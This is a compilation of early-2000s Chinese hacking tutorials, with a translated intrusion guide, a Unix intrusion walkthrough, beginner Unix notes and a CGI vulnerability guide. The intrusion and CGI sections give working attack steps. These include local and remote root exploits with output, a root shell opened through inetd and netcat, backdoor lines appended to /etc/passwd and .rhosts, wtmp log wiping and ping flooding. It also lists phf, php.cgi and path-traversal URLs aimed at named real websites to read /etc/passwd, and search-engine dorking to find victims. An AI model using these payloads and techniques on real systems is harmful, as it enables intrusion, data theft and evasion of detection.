8． 如果你了解你所作的，防火墙并不能阻止你。我很喜欢用nmap，这个工具非常好。在www.insecure.org 可以找到最新的版本。我喜欢它的OS（操作系统）检测，即使目标只运行了很少的服务，它的检测也很准确。它通过分析目标的tcp指纹并于自身携带的数据库作比较来得到结果。下面给出一个使用nmap来查出防火墙规则的例子。敲入nmap –sA 。浙江检测防火墙的规则。我不想太过深入而是这篇文章变得使人厌烦。如果你像知道更多有关nmap的，只需敲入man nmap就可以了。
进入以后做什么：
9． 进入以后做什么取决于你想如何使用这个系统。如果你想有一个匿名的root shell，那么就设置一个后门。你可以在www.packetstorm.securify.com 找到后门（木马）。我认为你完全有能力自己独立设置一个后门，但是如果你需要帮助的话，加入$r00t-access，或许我可以帮助你。但是我*不会*帮助你进入一个系统，不过我或许可以帮助你加固你自己的系统。
如何才能不被抓住：
10． 最主要的事是。别干*蠢*事。如果你想保住那个shell，不要破坏那个系统，不要删除他们的文件，不过或许你需要修改他们的纪录。这就是我想说的。
清除纪录：
11． 如果你还向待在这儿而不进监狱的话，清除日志是最重要的工作。在login/hostname中清除纪录，linux里是/var/log，还有你目录下的.bash_profile文件。作这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。
用途：
12． 我一向都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我自己的主机。或许我会在那上面设置一个web proxy/bnc。Saint是一个很好的工具。它可以告诉你系统有些什么漏洞。你可以在远程很容易的使用它。有时当我看不惯某人的时候，我就flood他们，就像这样：
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.
有人认为这是lame的，但是我通过这样来让某人在IRC里闭嘴。
破坏者：
13． 在这篇文章中我没有谈到hacking，实际上我我所涉及的只是cracking，我并不破坏系统，可能永远都不会。并不是我没有这个能力而是因为这是不对的。再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。我不喜欢人们把hacking和cracking混为一谈
ok 写完了。如果你有问题的话，可以联系我，但请不要问诸如如何去黑的问题。不久我将建一个telnet的BBS。
联系人：
AIM: mrflemmingsuck
----

AOL (yes i have actually been known to use it at times for windows): zor0d
--------------------------------------------------------------------

email: grimR@antisecure.com or grim@r00taccess.dhs.org
------

IRC: irc.dal.net #r00t-access #zerosignal #bios and others...
----

ICQ: 54566262
----

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

This text was by grimR, you are free to use this on your site and feel free to distribute it, just make
sure you leave it as is and keep the credit to me


unix入侵教程

我写这篇文章的目的是给那些想学黑客技术的菜鸟们看的,如果您已经是高手了,您可以跳过去没必要看了J这里所讲叙的是从寻找跳板开始到如何擦PP的完整过程.这篇文章纯属研究性文章.请不要将此用于不正当途径.后果自负!!!最后,如果要转载本文请保持文章的完整性,以尊重作者的版权J

一．跳板篇

这些年网上黑客事件也日益增多了,各个国家与网络安全的法令也相继推出了!因而如果想入侵一个系统.而又不想惹上官司,那么自身安全因该是放在第一位.嗯,那么如何才可以保证自己不被发现呢？谈论这个问题的文章出来了很多，但在这众多的方法中我还是比较喜欢使用跳板主机(也就是平时说的堡垒主机)，使用跳板主机有几点好处，首先是可以隐藏自己，再就是如果有一台功能齐全的跳板主机可以让工作达到事半功倍的效果：）那么如果得到一台跳板主机呢？

在网络上运行的服务器有很多，最常见的有Unix Linux NT W2k Solaris irix FreeBSD不过在这些主机中我最喜欢用W2k和Linux作为攻击平台了。W2k的Crack方法有很多比如：输入法漏洞，Unicode二次编码漏洞，IPC共享密码猜测等等，这些漏洞的利用方法有很多，而如何将NT/W2k做成跳板的文章也不少，因而我在这里也没有必要再重复了，我建议大家可以看看小榕写的关于如何利用IPC的补充文档，上面有如何将NT/W2k做成跳板的详细过程！

下面我主要介绍如何制作Linux的跳板主机，要得到一台Linux可以用破译弱口令的方法得到，至于破译弱口令的工具我感觉流光是最好用的：）你可以到www.netxeyes.org免费得到。如果不想下工具的朋友，可以使用Finger命令来得到弱口令列表：

比如我们已经知道xxx.xxx.xxx.xxx的79端口开放，那么我们可以轻易的得到一些薄弱主机的用户列表J

――――――――――――――――――test――――――――――――――――――

c:>finger 0@xxx.xxx.xxx.xxx

[xxx.xxx.xxx.xxx]

finger:0:no such user

------------------------------------------------------end------------------------------------------------------

失败：（呵呵。。。没关系啦，别灰心我们再来！！！

-------------------------------------------------------test-----------------------------------------------------

c:>finger 0@xxx.xxx.xxx.xxx

[xxx.xxx.xxx.xxx]

Login Name TTY Idle When Where

Root ??? <….>

Bin ??? <….>

Sys ??? <….>

ver21 ??? pst/0 211.25.64.2

liky ??? 437 211.35.26.4

how ??? pst/2 211.65.24.8

tong ??? pst/0 211.85.24.5

test ??? <….>

dv0928 ??? 52 211.54.25.6

nobody ??? 021 211.25.42.6

imnadm ??? 62 211.23.65.5

哈哈。。。这么多用户：）这下我发了：）

c:\>telnet xxx.xxx.xxx.xxx

Red Hat Linux release 6.0 Publisher's Edition (Hedwig)

Kernel 2.2.5-15 on an i586

Login:nobody

Password:

Login incorrect

Login:imnadm

Password:

Login incorrect

Login:test

Password:

##########################################################################

# However,as the Serv will reload those classes. #

# inside the “/usr/proj/gipex/class”.you just. #

# need to remove the old class with the new one. #

# #########################################################################

$w

6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10

User tty login@ idle JCPU PCPU what

root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?

root pts/4 Fri 4pm 5days tail -f syslog

delex pts/7 6:19pm w

$uname –a

Linux server.syscrew.co.jp 2.2.5-15 #1 Mon Apr 19 21:39:28 EDT 1999 i586 unknown

$gcc

gcc: No input files

不错哈。。我可以编译程序了：）

下面我就要来个本地溢出得到ROOT只有ROOT才可以干我想干的事情啊！！！

Su.c可以在ｗｗｗ．ｈａｃｋ．ｃｏ．ｚａ找到！！！

好了，下载下来。。。。

c:\>ftp xxx.xxx.xxx.xxx

Connected to xxx.xxx.xxx.xxx

220 server.syscrew.co.jp FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:5

3 EDT 1999) ready.

User (xxx.xxx.xxx.xxx:(none)):test

331 Password required for test.

Password:

ftp>put su.c

200 PORT command successful.

150 Opening ASCII mode data connection for su.c.

226 Transfer complete.

ftp: 12554 bytes sent in 0.00Seconds 12554000.00Kbytes/sec.

ftp>bye

221-You have transferred 11991 bytes in 1 files.

221-Total traffic for this session was 12355 bytes in 1 transfers.

221-Thank you for using the FTP service on xxx.xxx.xxx.xxx.

221 Goodbye.

好了换telnet来

$gcc –o su su.c

$./su

su exploit by XP

Enjoy!

Phase 1. Checking paths and write permisions

Checking for /usr/bin/msgfmt...Ok

Checking for /usr/bin/objdump...Ok

Checking write permisions on /tmp...Ok

Checking read permisions on /bin/su...Ok

Checking for a valid language... [using cs_CZ] Ok

Checking that /tmp/LC_MESSAGES does not exist...Ok

Phase 2. Calculating eat and pad values

.....................................................................done

eat = 119 and pad = 2

Phase 3. Creating evil libc.mo and setting enviroment

vars

Phase 4. Getting address of .dtors section of /bin/su

..........................................done

.dtors is at 0x0804ba0c

Phase 5. Compiling suid shell

/tmp/xp created Ok

Phase 6. Executing /bin/su

- Entering rootshell ;-) -

bash#

ok，到这里我们已经得到root了。你现在可以****想干的事情了！！！

bash#telnet localhost

这样就会将下一个登陆人的IP覆盖到自己IP上：）这样就不容易发现了！！！

一个跳板Linux主机就作好了，记得保存好哟，我们下次还要用呢！！！

二．攻击篇

这些天我看准了日本一家经济方面的网站，想进去拿点东西；）如果发E-mail给网管叫他给我，我想他一定不答应。说不定用那乱七八糟的日文将我骂一顿，可对于我这个不懂日文的家伙可能看了还乐滋滋的，并不觉得是在骂我。那么，就只有一中方法了，那就是我自己进去看看J(下面网站地址用196.0.0.1表示，以便将跳板主机与我们要攻击的主机分开)

首先，我们登陆上次已经Crack了的Linux主机吧：）我想刚刚Crack完应该还有效吧；）

c:\>telnet xxx.xxx.xxx.xxx

Login:test

Password:

##########################################################################

# However,as the Serv will reload those classes. #

# inside the “/usr/proj/gipex/class”.you just. #

# need to remove the old class with the new one. #

# #########################################################################

$./su

bash#nmap –O 196.0.0.1

我们通过nmap的扫描结果发现这个系统是SunOS 5.6的主机

我马上又登陆到另一台已经Crack了的SunOS5.6的主机（至于SunOS5.6跳板主机如何得到我就不再在这里浪费口舌了，和Linux跳板主机的制作方法大同小异）

＃rpccinfo –p 196.0.0.1

program vers proto port service

100000 4 tcp 111 rpcbind

100000 3 tcp 111 rpcbind

100000 4 udp 111 rpcbind

100000 2 udp 111 rpcbind

…………

100232 10 udp 61358 sadmind

…………

100001 4 udp 61363 rstatd

100001 3 udp 61363 rstatd

根据rpcinfo返回的结果，我发现这台主机开放了不少RPC服务，其中：

100232 10 udp 61358 sadmind

引起我的注意，我记得在CERT的报告有一个关于sadmind的远程溢出报告，那一定也有相应的溢出程序：）我马上到ｗｗｗ．ｈａｃｋ．ｃｏ．ｚａ搜索一番：）最后我找到了一个溢出源程序sadmindex.c(程序太长，我就不在这里罗列了！！！请大家到www.hack.co.za上找：)

我们登陆到那台Linux上

bash#gcc –o sadmindex sadmindex.c –lrpcsvc –lnsl –lsocket

bash#./sadmindex –h 196.0.0.1 –c “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob;/usr/sbin/inetd –s /tmp/bob”-s 0xefff9580

“echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob这一句是我们要在目标服务器上执行的命令，他的功能就是生成一个内容是”ingreslock stream tcp nowait root /bin/sh **-*”的/*mp/bob文件，然后再用inetd来启动，如果成功我们就可以再目标机的1024端口上开一个后门，用TELNET连接上去后就可以直接用root身份执行shell了。。。哈哈是不是很爽？

Bash#telnet 196.0.0.1 1024

#

ok成功J我们成功得到root了！！！

＃find / -name index.html –print

在/www/http/htdoc/目录下发现主页文件：）我的目的不是改主页，是要一些文件：）在这只是带说一下查找的方法！

＃find / -name *.* -print (*.*是我要找的文件。这里省略名字：)）

接下来将文件copy到主页目录，这样我们就可以下载了：）

#cp /home/www/*.* /www/http/htdoc

ok完成。我马上在浏览器里打入：http://196.0.0.1/*.*

下载成功。。。这次攻击就结束了。。。嘿嘿。。。。下面应该是要擦屁股走人了。。。不过如果你不想也可以。因为我们已经通过跳板登陆的。他们要查到我们也不是很容易的：）不过为了更加保险。也为了我们可以下次在登陆。我们还是擦擦屁股比较好。。。哦。。。天啊！！！

呀。。。不好。。。妈妈来了。。。叫俺学习去：（没办法。。。我们下次接着说吧！！！

三．打扫战场

我们进行一次攻击为了不让管理员发现，同时也为了我们有可能再一次的登陆，我们有必要清理等了记录。为了找出怎么做的合适方法，我们不妨看看/etc/syslog.conf配置文件的内容。也许对你清理战场有很大帮助！

＃cat /etc/syslog.conf

＃Log all kernel messages to the console.

#Loging much else clutters up the screen.

#kern.*

#Log anything (except mail)of level info or higher.

#Don’t log private authentication messages!

*.info;mail.none;authpriv.none

#The authpriv file has restricted access.

Authpriv.*

#Log all the amil messages in one place.

Mail.* /var/log/maillog

#Everybody gets emergency messages,plus log them on another

#machine.

*.emerg

#Save mail and news errors of level err and higher in a

#special file.

Uucp,news.crit

/var/log/spooler

有了这些信息后我们就知道在/var/log目录下查找关键登陆文件了！简单的列一个目录，我们发现存在的各种登记文件，包括cron,maillog,messages,spooler,secure,wtmp和xferlog。

系统改动的文件有很多，包括了：messages,secure,wtmp和xferlog。既然wtmp是二进制的我们就可以用wzap.c来清理wtmp记录文件（这个文件在很多黑客网站上能找到源代码）

＃gcc –o wzap wzap.c

#who ./wtmp

joel ftpd17264 jul 1 12:09 (*.*.*.*) 注：（*.*.*.*是跳板主机的IP地址，也是我们

root tty1 jul 4 22:21 要清除的IP地址）

root tty1 jul 5 18:25

…………..

joel ftpd945 jul 14 17:25(*.*.*.*)

…………..

root

作者： ★果冻★[457283] 2001-07-17 16:34:38 [回复]

root tty1 jul 20 18:14

#/opt/wzap

Enter username to zap from the wtmp:joe1

Opening file…

Opening output file…

Working…

＃who ./wtmp.out

root tty1 jul 4 22:21

root tty1 jul 5 18:25

…….

好了。。这样我们的wtmp记录就删除了！！！

我们接下来可以用VI当然也可以用相应的黑客程序来抹掉其他的登陆记录。我就不再在这里多说了，方法大同小异的！！！

四．后门篇

1．.添加一个root用户

echo “jelly::0:0::/:/bin/sh”>> /etc/passwd

这个帐户没有密码：）不过这很容易被管理员发现，只要他看一下文件就会发现多出来的用户名！

2．.echo “++” >>/.rhosts

用户可以通过rlogin rsh rcp等连接到服务器。不过这种方法也容易暴露自己

3．.修改Sendmail.cf不过这个后门一般的扫描器都会刺探到比如：nessus我想自己的劳动成果是不愿意让别人随意拿走的吧？

4．.Shell后门

这种后门最普遍，也很简单。通常是在某一特定端口监听，如果连接上后立即执行/bin/sh。这样就可以得到shell的使用权了。这类似的源程序可以在一些好点的黑客网站上找到。比如说安全焦点（www.xfocus.org）

5.修改内核或降低某些软件版本达到后门目的。不过这种方法实现不容易。如果弄不好就会被发现，所以建议不要轻易使用这种方法

后门举例：

＃gcc –o nc nc.c

#nc –l –d /bin/sh –p 8888

以后我们只要直接telnet服务器的8888端口就可以得到shell了：）

好了关于一次完整的入侵过程就讲到这里，不过在这里还是要提醒大家，入侵国内网站是十分危险的，请大家三思而行啊！！！


UNIX文件许可

给大家写点东西.
好困呀~~~~~~~~~
因为的我的水平不高.所以写出的东西也很基础,很好理解.块往下看吧~
我要给大家介绍一下UNIX的文件许可.在以前的帖子中有不关于UNIX的基础知识的.不记得有没有关于文件许可的了.如果有就算我灌水吧~
我们经常会看到这个东西.-rwxrwxrwx这是what??这就是文件许可
他可以分成4部分.
"-":表示文件类型
第一组"rwx":表示文件属主,也就是文件的所有者对该文件的访问权限.
第二组"rwx":表示同组用户对该文件的访问权限.
第三组"rwx":表示其他用户对该文件的访问权限.
来解释一下r,w,x个代表什么含义.r是read.w是write.至于x嘛~~~~~execute??是他吗??好像不是.反正x是执行的意思.如果某个权限被禁止,其位置由"-"来代替.
下面我们来举个例子.
在某目录下执行ls -l看到某文件如下:
rwxrwxr-x 13 root sys 521 jul 11 2000 mbin
这里包含了很多内容,如文件链接数,所有者, 创建时间,文件大小的一系列的信息.其他的我们暂且不管,我们之看前面的许可.看看.最后一组rwx变成了"r-x"这表示其他的用户不能对文件进行写的操作.明白了???
另外,还可能是s,S,t,T.这和特殊许可有关.在这里我们不讨论.(哈哈~~~~说不明白了~~~)
记得以前用FTP上传文件的时候.看到远程文件的属性中写着什么755之类的东西.当时很不理解.其实这个755就是我们说的文件许可.这种许可方式是用3位8进制数来表示的.r,w,x的8进制分别对应为4,2,1.这样我们就可以来表示文件许可了.那上面的那个例子来说,"rwxrwxr-x"应表示为775.再举个例子"rwxrw-r--"应表示为754.明白了吗??不明白再自习看看.
知道了这些我们就可以chmod对某个文件的许可进行设置了.
还是个例子:
chmod 744 abcd
意思是把abcd文件的许可设定为744即rwxr--r--
简单吧~另外还可以用chown和chgrp命令修改文件的属主和组明.在这里就不详细讲了.


UNIX系统安全基础（一）

    编写：成员goodwell
这篇文章主要针对一些对网络安全感兴趣、同时是针对那些还不怎么熟悉unix 朋友而写的一篇基础文章。我们是一个安全站点！文中将不涉及任何带有恶意攻击误导的言词。

作为安全文章的开篇我选用了UNIX系统的用户帐号和口令系统来循序渐进的把大家带入UNIX的世界，文中我可能省去了一些简单命令的使用说明，如您有任何疑问请致信goodwell@263.net或到我们的BBS、IRC寻找isbase的工作人员的帮助。

UNIX系统的用户管理

每一个使用UNIX计算机系统的人都有一个帐号，他包括两个部分！习惯上我们把他称为用户名和密码，用户名是一个标识，它告诉计算机你是谁。而口令就是一个确认证据。你用密码向计算机证明你就是你向操作系统声明的那位，就用户名和密码本身没有等级的区分，他们只是在形式上区分了每一个登陆者。（有些用户名可能是系统默认的）标准的unix 系统不允许有两个同名的用户，但是可以让两个用户使用同一个用户帐号登陆

如果我在公司的机器上有个帐号。我的密码用户名是goodwell密码是icando()下当我要登陆公司的机器上去操作时，我必须在键入goodwell用户名后根据提示在键入我的密码icando()

telnet XXX.XXX.XXX.XXX 23
sun os 6.5
login:goodwell
Passwd:******（实际上这里的输入将不在终端显示）

作为系统安全的文章不得不重声，设定口令密码请务必选择教难破解的口令密码，同时更改一切系统默认用户的口令。

UNIX的口令文件
/ect/passwd
/etc/shadow
/etc/group

UNIX使用/etc/passwd文件记录系统上每一个用户的帐号，他包含每一个用户的各种信息，同样在passwd文件的设置里给不同的用户划分了不同的等级及工作组！下面是一个没shadow的passwd文件！
root:iKjDBNKWOUkVo:0:1:Super-User:/:/bin/sh
adm:.iZekGR8y33mI:4:4:Admin:/var/adm:/bin/sh
lp::71:8:Line Printer 60001:
Anonymous FTP:/export/ftp:/bin/false
liu:jZHdYPxKKUWBw:30001:4::/home/liu:/bin/sh
wais:VzvX3WPjxo:30002:1::/export/home/wais:/bin/ksh
test:9TO3RMd6:304:1::/home/test:/bin/sh
zxj:KDn3SdWpMmBFQ:304:3::/home/zxj:/bin/sh
lxm01:BVTVu541O:1063:3:liuxiaoming:/export/home/lxm01:/bin/csh

分析说明如下
root:iKjDBNKWOUkVo:0:1:Super-User:/:/bin/sh
  |　　　| 　　　　| | 　| 　　　 |　|_________用户登陆shell
  |　　　| 　　　　| | 　|　　　　|_______________________用户主目录
  |　　　| 　　　　| | 　|______________用户真实姓名或更多关于用户的信息
  | 　　 |　　　　 | |__________________________GID
  | 　　 |　　　　 |_________________________________UID
  | 　　 |_______________________________________________经过加密的口令
  |______________________________________________________________ 用户名

不同的信息段用:来区分

好了我们来对上面这个passwd文件分析一下，第一个字段的root是该用户登陆时的用户名，而第二个字段是经过加密后的用户口令，然后我们看到root用户的UID是0这在UNIX系统中很关键，我将在后面对UID作更详细的说明，现在你仅仅只要知道UID=0意味着他有至高无上的权利，我们从他的Super-User信息一栏里也可以看出这点，GID=1这说明了root的用户组！然后我们注意Super-user:/:的那个/这是用户登录后的主目录，也就是当你进去之后/(在UNIX里表示最上一级的根目录)将是你的当前目录。下面我们在看/bin/sh 是用户登录后的shell,(对于shell 我不能在细说拉！要是硬要我说明的话，我只能说他有点象dos里的command)

UID被规定为无符号的16位整数，０－９用来标识系统的函数。分配给一般用户的通常从２０开始，当两个具有相同UID的用户系统将视为一个用户，其权限等级完全相同，双方可以自由的读取删除对方的文件以及kill对方的进程。所以在上面一个passwd文件中，其实用户test和用户zxj虽然用不同的帐号登陆系统，但是系统视其为一个人，他们的等级相同，test用户的文件zxj全部能够读取和删除，同样zxj的文件对test来说也一样，说到这大家还记得刚才一句话吗？　UID=0意味着他有至高无上的权利，如果有一个用户也有root一样的uid 的话！那他就是最高权限的管理员级别。所以给两个不同的用户分配相同的UID是一个不太明志的做法，除非你必须这么做。（呵呵！老板说不这样做就抄你鱿鱼或你的uucp 希望这样。也可能你是高顶尖级的网管，想跟踪那些具有相同权限但又要看他们登陆日志的顶尖级网管。）

在看仔细我们发现lp用户的第二个字段为空，这意味着lp将不需要密码口令的认证，实在是想不出有什么理由为这种可能辩解的拉，但是这样的网管的确不少，很多是对系统的不了解，可能是疏忽忘了（IRIX）的一些默认用户的口令为空。

下面我们继续说下去，用户的主目录，用户主目录既为用户登陆后的当前目录，我们看到root的主目录为/（UNIX习惯上把最上一级的目录称为主目录），然后我们看到的主目录在/export/ftp而liu， wais，test，zxj，lxm01用户都在不同的归属home下的目录，至于他们是否能跳出自己的主目录，那要看网管对其它目录权限的设置情况。

大家继续看下去的话，可以看到每个用户都有一个登陆后的shell,我们可以看到用户 lxm01的shell是 /bin/csh 而其他的用户都是/bin/sh，值得我们注意的是匿名登陆用户Anonymous FTP 的shell在 /bin/false　为什么是/bin/false呢，其实很简单，在/bin/目录下根本没有这个shell的文件，那也就是说他根本就不能登陆取得shell，有些网络为了安全，网管定制了自己的shell,在这我将不再做进一步的分析。

以上是一个没有shadow的passwd文件！而实际上很多网络采用shadow的方法来做到更进一步的安全防范，这无疑是值得学习的！下面我列出如果对上一个文件shadow后的文件。

passwd文件中的口令加密后的段将被*号取代

root:*:0:1:Super-User:/:/bin/sh
adm:*:4:4:Admin:/var/adm:/bin/sh
lp:*:71:8:Line Printer 60001:
Anonymous FTP:/export/ftp:/bin/false
liu:*:30001:4::/home/liu:/bin/sh
wais:*:30002:1::/export/home/wais:/bin/ksh
test:*:304:1::/home/test:/bin/sh
zxj:*:304:3::/home/zxj:/bin/sh
lxm01:*:1063:3:liuxiaoming:/export/home/lxm01:/bin/csh

shadow文件

root:iKjDBNKWOUkVo:::::
adm:.iZekGR8y33mI:::::
lp:NP:::::
Anonymous FTP:::::
liu:jZHdYPxKKUWBw:::::
wais:VzvX3WPjxo:::::
test:9TO3RMd6:::::
zxj:KDn3SdWpMmBFQ:::::
lxm01:BVTVu541O:::::


UNIX系统后门的安放和日志的擦除

我的第一篇关于unlx的教程，我想说的除了找第一个帐号外,还有一个－－－灵活利用资源。

你也许会感到奇怪，这个＂灵活利用资源＂和unlx有什么关系啊？

是的，的确没什么很大的关系。

但这是我的经验介绍。

灵活的利用现有的资源，我们做事才能达到事半功倍的效果。

也许，你仍然不明白我的意思。

别急．跟着我来。

：）

相信大家都知道那个著名的漏洞吧：phf

漏洞描述： 在NCSA 或者 Apache (1.1.1版本以内)非商业版本的Web Server中有一段程序util.c,允许黑客以root身份执行任何一个指令

http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here

http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

这是四年前的的漏洞了，我们现在还能找到他吗?

答案是：

当然可以！：）

http://www.mohall.k12.nd.us/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

这就是一个。

大家可以看看，没shadow的密码档。 不错吧。依密码档看来，这个网站不是很大。

再看一个。

http://www.grex.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

够肥的鸡吧。2395个用户，faint......

大家找个软件慢满跑，小榕的乱刀还挺不错的。

这个漏洞可以直接远程执行命令的哦，详细情况大家看《一次80端口的入侵》这篇文章。

找到用户密码后，你也可以telent或者ftp上去看看哦。

要不干脆黑了它。

呵呵

不过，我是不会干的。

大家感到奇怪吗？

都什么年代了，还有这个漏洞。

我是怎么找出来的呢？

别急

等一下告诉你。

名字：php.cgi 2.0beta10或更早版本

描述：包括缓存溢出漏洞，还有导致任何系统文件可以被入侵者以nobody权限读取的漏洞。

http://www.victim.com/cgi-bin/php.cgi?/etc/passwd php.cgi2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在/etc/master.passwd　　/etc/security/passwd等.

这个漏洞大家也很熟悉吧，也很老了。

我们一样可以找到有这个漏洞的主机。

http://hellas.me.ntou.edu.tw/cgi-bin/php.cgi?/etc/passwd

：）一个台湾的家伙。

http://www.pcsc.net/cgi-bin/php.cgi?/etc/passwd

不知道什么网站。

http://www.ccchubu.co.jp/cgi-bin/php.cgi?/etc/passwd

日本鬼子，他妈的，我们冲上去给他们两脚！

大家还要吗？

http://www.lifesupportal.com/cgi-bin/php.cgi?/etc/passwd

http://www.ub.fu-berlin.de/cgi-bin/php.cgi?/etc/passwd

http://www.compfutures.com/cgi-bin/php.cgi?/etc/passwd

http://edu.larc.nasa.gov/cgi-bin/php.cgi?/etc/passwd

http://edu.larc.nasa.gov/cgi-bin/php.cgi?/etc/passwd

这个php.cgi漏洞只能读文件。

我们还是用乱刀来跑密码吧。

找到用户密码后，你也可以telent或者ftp一下哦。

我又是怎么找出来的呢？

别急

等一下告诉你。

名字：loadpage.cgi

描述：可以用来查看任意文件,首先用浏览器找到当前路径，

http://www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=XYZ 这时可能会返回一个错误信息： Cannot open file /home/www/shop/XYZ

现在可以替换为下面的格式，

http://www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=../../<路径>/<文件名>

具体如下：

http://www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=../../etc/passwd

大家看看：

http://www.valueindia.com.au/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

哦，他妈的，@#$%@$@#%$!~……

前几天我还可以看到密码档的。

现在可能打上补丁了，或者删掉了，要不就被防火墙过滤了。

我靠，我们来看看另一个。

http://www.bigfivestuff.com/cgi-bin/loadpage.cgi?user_id=1&file=../../etc/passwd

嗯，为什么是500错误？

漏洞手册上是这样的啊。

呵呵

我们要灵活应用嘛，是路径问题。

我们改成：http://www.bigfivestuff.com/cgi-bin/loadpage.cgi?user_id=1&file=/../../etc/passwd

Cannot open file /usr/local/etc/httpd/htdocs/bigfivestuff/store//../../etc/passwd

？？

还是路径问题。

我们的路径不够深入。

当前目录是在：/usr/local/etc/httpd/htdocs/bigfivestuff/store/

/../../etc/passwd只向上跳两层。

也就是在/usr/local/etc/httpd/htdocs/

还有五层目录。

我们就添加五层"../"

http://www.bigfivestuff.com/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../etc/passwd

大家看到了吗？

密码档

不过是shadow了的。

我们一样可以用流光生成用户列表然后ＦＴＰ简单探测。

：）

大家还要吗？

http://qtb.com/cgi-bin/loadpage.cgi?user_id=1&file=../../../../etc/passwd

http://www.bigfivestuff.com/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

http://www.cheapcellphones.com/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

http://www.boutiquesensuale.net/cgi-bin/loadpage.cgi?user_id=1&file=../../../../etc/passwd

http://www.patches3.com/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

http://www.topten.it/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

http://www.palmcentre.co.uk/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

http://www.storefinder.com/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd

够你晕了吧

一大堆密码档

我来说说我是怎么找到的吧。

：）我们进入http://www.google.com/　（一个很不错的搜索引擎）

当然你也可以用http://www.yahoo.com

在输入框里我们输入　/cgi-bin/phf　然后回车

我们会发现类似如下内容的页面。

已向英特网搜索/cgi-bin/phf. 共约有7,320项查询结果，这是第1-10项 。搜索用时0.08秒。

类别: Regional > North America > ... > DOE National Laboratories > Ames Laboratory

Untitled

lcweb.loc.gov/cgi-bin/phf/ - 类似网页

Untitled

lcweb.loc.gov/cgi-bin/phf - 类似网页

Ames Phone Book - People

类别: Regional > North America > ... > DOE National Laboratories >

Ames Laboratory

ph.iastate.edu/cgi-bin/phf - 类似网页

这些网站都有/cgi-bin/phf

也就有可能他们的版本刚好是有上面的漏洞的那个，而没有打补丁！

我们试试http://xxx.xxxxxxxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

不行就试试搜索/cgi-bin/php.cgi /cgi-bin/loadpage.cgi

当然你也可以试其他类似的漏洞。

互连网这么大，总是能找到有的！

但我们这样做太笨了点。

毕竟这不是新漏洞，要找到一个能用的太难了。

但我们为什么不想想？

如果新发现什么漏洞可以直接读取文件或者运行命令的，我们一样可以用搜索引擎来找到有这个漏洞的主机啊。

为什么三年前的漏洞我们还能看到呢？

就象每个人都不一样，当然并不是每个网管都很负责的。：）

还有，如果你有什么漏洞不懂，或者你要找什么资料软件等，也一样可以利用搜索引擎来找！

比如，我们对twwwscan 的扫描结果：Frontpage98 Hole(_vti_inf.html) 不了解，我们就可以在搜索引擎里输入_vti_inf.html，你肯定可以找到很多相关的文章和资料的。

这就是一个小窍门了。：）

因为这些引擎的资料都是用机器人来找的，他是不断更新和添加的。这个机器人不是我们平时听到的什么机器人，他是一个用perl或者其他语言编的网络蠕虫程序，也有人用这些程序来找e-mail地址。ＯＫ，我走题了。

我们利用这些引擎，相信大家会找到很多你想要的东西的！

好了，转入正题。：）

相信大家都不知道该学些什么东西吧。

下面就是很好的介绍。

1.能用C.C++.perl或者其他语言进行编程。

  对一个黑客来说，这是基本要求。很多安全工具都是用C/C++ 或者perl语言编写的。初级黑客至少要能看懂，编译，执行和熟练运用这些程序。你才能利用这些现成的工具来攻击。更进一步，你还要有能把某些软件移植到其他平台的能力，或者，你自己要有开发的能力。比如，开发一些新的工具或者在原来的工具上扩展！

2.熟悉TCP/IP协议。

  这也是一名黑客要必备的素质。没有对协议和协议本身的的正确彻底的了解，而只会天天胡乱利用工具乱搞一阵，那你永远不会有进步的。只有对Internet工作原理基本了解，你更加不用谈什么攻击。学习协议知识的途径是先熟读RFC,这里有一个地方可以：http://www.attrition.org/~modify/texts/rfc/

3.熟悉两种以上操作系统。

  比如NT/2000 Linux Unix Sunos等等。

  UNIX系列是必须懂得一种的。

4.多跟踪最新的漏洞资料和工具。

  多多注意网上公布的漏洞资料和工具。

  国内的反应相对来说比较慢。

  推荐大家去：http://www.securityfocus.com/

5.要成为黑客，就必须动手去Hacking.

  除了多看点入侵教程外，看完后然后一定要自己动手！只有自己动手去hacking.你才能有进步。只有经过大量的实践，你才能熟练运用各种攻击方法。纸上谈兵是没用的。看再多的教程你自己不动手也是没用的！到头来还是一无所知！

6.人只有靠自己。

  很多网友添加我为好友后，第一句话就是："我拜你为师好吗？"：（我倒，又来一个。

  当你越深入研究Hack技术，你就会发现自己懂得的越少！我真正懂的并不多。我实在也无能力做你们的老师，我只是一个很普通的网络技术爱好者。别把我看得太高。也许我是最菜的。：）

  其实，并不是所有的人都象你那么有空，每个人都有工作，都有自己的事情，没有人会完全替你着想！也没人愿意把时间花在这样无聊的事情上面。大家应该站在另一个角度看，如果同时有20个人在ＯＩＣＱ上和你聊，你会怎么样？50个100个呢？你能应付吗？

